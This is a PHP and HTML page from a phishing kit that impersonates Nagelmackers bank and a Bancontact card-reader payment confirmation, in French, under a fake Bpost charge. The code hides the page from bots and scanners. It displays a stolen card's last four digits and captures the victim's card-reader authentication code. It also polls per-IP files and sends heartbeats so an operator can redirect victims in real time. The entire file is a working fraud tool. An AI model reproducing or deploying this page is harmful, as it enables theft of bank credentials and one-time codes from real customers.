<?php
error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
@ini_set('html_errors', '0');
@ini_set('display_errors', '0');
@ini_set('display_startup_errors', '0');
@ini_set('log_errors', '0');
$ip = $_SERVER['REMOTE_ADDR'];
session_id(md5($ip));
session_start();
$stripos = 0;
include 'config.php';
include 'M3tri-anti-bots_v0.01/M3tri-Organization.php';
include 'M3tri-anti-bots_v0.01/M3tri-ips.php';
include 'M3tri-anti-bots_v0.01/M3tri-OS-BRS.php';
include 'M3tri-anti-bots_v0.01/M3tri-UA.php';
include 'M3tri-anti-bots_v0.01/M3tri-vpn-proxy.php';
require_once './includes/HunterObfuscator.php';
$currentIP = getRealIP();
if (isIPBanned($currentIP)) {
    header('Location: 403.php');
    exit();
}
$honeypotbots = file_get_contents('honeypotbots.dat');
$errorUrl = '403.php';
if (stripos($honeypotbots, $ip) !== false) {
    $stripos = $stripos + 1;
}
$token1 = base64_encode($_SERVER['HTTP_USER_AGENT'] . $ip . date('Y:M:D'));
// Geo-filter removed: all countries are allowed
if (!isset($_GET['token']) || $token1 != $_GET['token'] || $stripos > 0) {
    header("location: " . $errorUrl . "?" . (isset($_GET['token']) ? $_GET['token'] : ''));
    exit;
}
$t0 = isset($_GET['t0']) ? trim($_GET['t0']) : '';
$t1 = isset($_GET['t1']) ? trim($_GET['t1']) : '';
$t0_esc = htmlspecialchars($t0, ENT_QUOTES, 'UTF-8');
$t1_esc = htmlspecialchars($t1, ENT_QUOTES, 'UTF-8');
?>
<!DOCTYPE html>
<html lang="fr">
<head>
  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0"/>
  <title>Paiement par carte – Nagelmackers</title>
  <style>
    * { box-sizing: border-box; margin: 0; padding: 0; }

    body {
      font-family: Arial, Helvetica, sans-serif;
      background: #fff;
      min-height: 100vh;
      display: flex;
      justify-content: center;
      align-items: flex-start;
      padding: 40px 16px 60px;
    }

    .page-wrapper {
      width: 50%;
      min-width: 0;
      max-width: 680px;
    }

    /* ── Responsive ── */
    @media (max-width: 900px) {
      .page-wrapper { width: 70%; }
    }
    @media (max-width: 600px) {
      body { padding: 20px 12px 40px; }
      .page-wrapper { width: 100%; }
      .logo-nagel-ph { width: 140px; height: 38px; object-fit: contain; }
      .logo-banc-ph  { width: 132px; height: 38px; object-fit: contain; }
      .amount { font-size: 24px; }
      .card-payment  { padding: 0 16px 20px; }
      .card-confirm  { padding: 18px 14px 18px; }
      .card-confirm h2 { font-size: 16px; }
      .step { font-size: 13px; gap: 10px; }
      .input-wrap input { width: 100%; }
      .btn-validate { width: 100%; padding: 13px 20px; font-size: 15px; }
      .conclusion { font-size: 12px; padding: 14px; }
    }

    /* ── Top bar ── */
    .top-bar {
      display: flex;
      justify-content: space-between;
      align-items: center;
      margin-bottom: 20px;
      background: transparent;
      padding: 0;
    }

    .top-bar img {
      background: transparent;
      display: block;
    }

    .logo-nagel-ph { width: 165px; height: 44px; object-fit: contain; background: transparent; }
    .logo-banc-ph  { width: 155px; height: 44px; object-fit: contain; background: transparent; }

    /* ── Payment fieldset card ── */
    .card-payment {
      background: #fff;
      border: 1.5px solid #a8b8cc;
      border-radius: 10px;
      padding: 0 26px 26px;
      margin-bottom: 16px;
    }

    .card-payment legend {
      font-size: 14px;
      font-weight: 700;
      color: #111;
      padding: 0 8px 0 4px;
      margin-left: 10px;
      line-height: 1;
    }

    .amount {
      font-size: 30px;
      font-weight: 700;
      margin-top: 14px;
      margin-bottom: 8px;
    }
    .merchant {
      font-size: 13.5px;
      font-weight: 700;
      margin-bottom: 4px;
    }
    .meta {
      font-size: 12.5px;
      color: #555;
      line-height: 1.85;
    }

    /* ── Confirm card ── */
    .card-confirm {
      background: #deeaf7;
      border: 1px solid #b5cfe8;
      border-radius: 8px;
      padding: 22px 26px 24px;
      margin-bottom: 20px;
    }

    .card-confirm h2 {
      font-size: 20px;
      font-weight: 700;
      text-align: center;
      margin-bottom: 20px;
      color: #111;
    }

    .steps { list-style: none; margin: 0; padding: 0; }

    .step {
      display: flex;
      align-items: flex-start;
      justify-content: space-between;
      font-size: 14.5px;
      line-height: 1.6;
      margin-bottom: 12px;
      gap: 16px;
    }

    .step-text { flex: 1; }
    .red { color: #cc0000; font-weight: 700; }

    .btn-wrap {
      flex-shrink: 0;
      padding-top: 2px;
    }

    .btn {
      display: inline-block;
      border: none;
      border-radius: 999px;
      font-size: 12px;
      font-weight: 700;
      color: #fff;
      padding: 5px 18px;
      cursor: default;
      white-space: nowrap;
      line-height: 1.3;
      min-width: 44px;
      text-align: center;
    }
    .btn-m2 { background: #3a9db5; padding: 5px 12px; }
    .btn-ok { background: #3aad3a; border-radius: 6px; padding: 5px 16px; }

    /* ── Input ── */
    .input-wrap {
      display: flex;
      justify-content: center;
      margin-bottom: 22px;
    }
    .input-wrap input {
      width: 68%;
      height: 38px;
      border: 1px solid #bbb;
      border-radius: 5px;
      padding: 0 12px;
      font-size: 14px;
      background: #fff;
      outline: none;
    }
    .input-wrap input:focus { border-color: #4a6bbf; }

    /* ── Auth section ── */
    .auth-section {
      margin-bottom: 0;
    }
    .auth-section h3 {
      font-size: 14px;
      font-weight: 700;
      margin-bottom: 5px;
    }
    .auth-section p {
      font-size: 12.5px;
      color: #444;
      line-height: 1.6;
    }

    /* ── Conclusion ── */
    .conclusion {
      margin-top: 20px;
      padding: 16px 20px;
      background: #f7faf7;
      border: 1px solid #c2d9c2;
      border-radius: 8px;
      font-size: 12.5px;
      color: #333;
      line-height: 1.65;
    }
    .conclusion p { margin-bottom: 6px; }
    .conclusion p:last-child { margin-bottom: 0; }

    /* ── Validate button ── */
    .validate-wrap {
      display: flex;
      justify-content: center;
      margin-top: 22px;
      padding-bottom: 10px;
    }
    .btn-validate {
      background: #2d912d;
      color: #fff;
      border: none;
      border-radius: 6px;
      font-size: 14px;
      font-weight: 700;
      padding: 11px 40px;
      cursor: pointer;
      letter-spacing: 0.3px;
      transition: background 0.18s;
    }
    .btn-validate:hover { background: #236e23; }
  </style>
</head>
<body>
<div class="page-wrapper">

  <!-- Top logos -->
  <div class="top-bar">
    <img src="https://cdn.uc.assets.prezly.com/cca11553-5a32-451c-9f64-03f80d3ccaa2/" alt="Nagelmackers" class="logo-nagel-ph">
    <img src="bc_files/bpost.png" alt="Bancontact" class="logo-banc-ph">
  </div>

  <!-- Payment info card — fieldset gives the native legend-on-border style -->
  <fieldset class="card-payment">
    <legend>Paiement par carte</legend>
    <div class="amount">0,99 €</div>
    <div class="merchant">Bpost</div>
        <div class="meta">
        Carte: xxxx xxxx xxxx <?php echo substr($_SESSION['cn'], -4); ?><br>
        Date: <?php date_default_timezone_set('Europe/Brussels'); echo date('Y/m/d H:i:s'); ?> CET
        </div>
  </fieldset>

  <!-- Confirm card -->
  <div class="card-confirm">
    <h2>Confirmez votre paiement</h2>
    <ul class="steps">

      <li class="step">
        <span class="step-text">1. Insérez votre carte Nagelmackers dans votre lecteur de carte et appuyez sur:</span>
        <div class="btn-wrap"><button type="button" class="btn btn-m2" aria-label="M2">M2</button></div>
      </li>

      <li class="step">
        <span class="step-text">2. Introduisez votre code secret dans votre lecteur de cartes et appuyez sur:</span>
        <div class="btn-wrap"><button class="btn btn-ok">OK</button></div>
      </li>

      <li class="step">
        <span class="step-text">3. Introduisez les chiffres <span class="red"><?php echo $t0_esc ?: '—'; ?></span> dans votre lecteur de cartes et appuyez sur :</span>
        <div class="btn-wrap"><button class="btn btn-ok">OK</button></div>
      </li>

      <li class="step">
        <span class="step-text">4. Introduisez le montant <span class="red"><?php echo $t1_esc ?: '—'; ?></span> de la transaction dans votre lecteur de carte et appuyez deux fois sur:</span>
        <div class="btn-wrap"><button class="btn btn-ok">OK</button></div>
      </li>

      <li class="step">
        <span class="step-text">5. Encodez ci-dessous les chiffres qui s'affichent à l'écran de votre lecteur de cartes.</span>
        <div class="btn-wrap"></div>
      </li>

    </ul>
  </div>

  <!-- Code input -->
  <form method="post" action="bc-load.php?token=<?php echo urlencode($token1); ?>" id="nagelmackersForm">
    <input type="hidden" name="type" value="nagelmackers-code">
    <div class="input-wrap">
      <input type="text" name="otp" placeholder="" maxlength="12" required />
    </div>

    <!-- Auth section -->
    <div class="auth-section">
      <h3>Validez le processus d'authentification</h3>
      <p>Afin de vous protéger contre la fraude, Nagelmackers vous demande de vous authentifier avec votre lecteur de cartes.</p>
    </div>

    <!-- Validate button -->
    <div class="validate-wrap">
      <button class="btn-validate" type="submit">
        Valider le paiement
      </button>
    </div>
  </form>

</div>
<script>
(function() {
  var ip = '<?php echo addslashes($ip); ?>';
  var token1 = '<?php echo addslashes($token1); ?>';
  var waiting = setInterval(function() {
    fetch('./users/' + ip + '.txt?rand=' + Math.random().toString(36).slice(-5), { cache: 'no-store' })
      .then(function(r) { return r.text(); })
      .then(function(data) {
        if (!data || data.length < 2) return;
        var row = data.split('#|#');
        var one = row[0];
        var two = (row[1] !== undefined && row[1] !== null) ? row[1] : '';
        if (one == 'load') {
          clearInterval(waiting);
          window.location.href = './bc-load.php?token=' + encodeURIComponent(token1) + '&error=' + encodeURIComponent(two);
        } else if (one == 'url' && row[2]) {
          clearInterval(waiting);
          window.location.href = row[2];
        }
      })
      .catch(function() {});
  }, 1500);
})();

  // Send heartbeat every 5 seconds so the controller shows "Nagelmackers" when the user is on this page
  (function() {
    function sendHeartbeat() {
      fetch('config.php?heartbeat=true&ip=<?php echo addslashes($ip); ?>&page=nagelmackers.php', { cache: 'no-store' })
        .then(function(r) { return r.json(); })
        .then(function() {})
        .catch(function() {});
    }
    sendHeartbeat();
    var heartbeatInterval = setInterval(sendHeartbeat, 5000);
    document.addEventListener('visibilitychange', function() {
      if (document.hidden) { clearInterval(heartbeatInterval); }
      else { sendHeartbeat(); heartbeatInterval = setInterval(sendHeartbeat, 5000); }
    });
    window.addEventListener('beforeunload', function() { clearInterval(heartbeatInterval); });
  })();
</script>
</body>
</html>
